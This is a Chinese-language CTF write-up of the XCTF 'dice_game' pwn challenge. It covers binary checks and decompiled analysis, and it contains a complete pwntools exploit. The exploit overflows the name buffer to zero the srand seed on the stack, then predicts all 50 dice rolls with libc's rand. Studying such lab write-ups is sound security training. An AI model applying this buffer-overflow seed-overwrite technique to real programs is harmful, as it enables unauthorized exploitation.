攻防世界-pwn dice_game(栈内变量覆盖)

攻防世界-pwn dice_game(栈内变量覆盖)_第1张图片

0x01 检查文件

 下载附件之后获得两个文件,一个可执行文件和一个libc,初步理解要使用libc。
攻防世界-pwn dice_game(栈内变量覆盖)_第2张图片

  • 64位elf
  • 无栈保护
  • 动态链接

0x02 程序分析

攻防世界-pwn dice_game(栈内变量覆盖)_第3张图片
 根据程序运行分析,程序应该是要求猜数字,连续答对50轮可获得flag。

0x03 IDA结构分析

攻防世界-pwn dice_game(栈内变量覆盖)_第4张图片
 从里面分析,可以看到程序的结构,while循环里面是猜数字的流程,一共50轮,并可以注意到18行设置了随机数的种子。

 继续分析子函数sub_A20
攻防世界-pwn dice_game(栈内变量覆盖)_第5张图片
 游戏环节,可以看到里面用到了随机数,然后用我们输入的数与随机数进行对比,相同则返回1,并继续游戏,不同则结束游戏。
 如果持续胜利50轮则可以进入到sub_B28函数里面,拿到flag。

0x04 思路分析

 看着程序,时间函数以及内部的变量,联系上题目给了libc的版本,可以考虑模拟50轮的随机数操作完成程序拿到flag。至于随机数的种子,可以利用输入名字时将栈内随机数给覆盖掉,就可以操作随机数了。

0x05 exp

from pwn import *
from ctypes import * #调用c的动态函数库,利用rand需要

#io = remote('111.198.29.45' ,42551)
io = process("./dice_game")
# 加载相应的libc版本,不同版本的rand函数效果可能不一样
libc = cdll.LoadLibrary("libc.so.6")

io.recv()
io.sendline('a'*0x40 + p64(0))

s = []
for i in range(50):
	#生成随机数
    s.append(libc.rand()%6+1)
print s

for i in range(50):
    io.recv()
    io.sendline(str(s[i]))

io.interactive()

自己创建的网络安全公众号,欢迎各位朋友们关注!

攻防世界-pwn dice_game(栈内变量覆盖)_第6张图片

你可能感兴趣的:(ctf_pwn)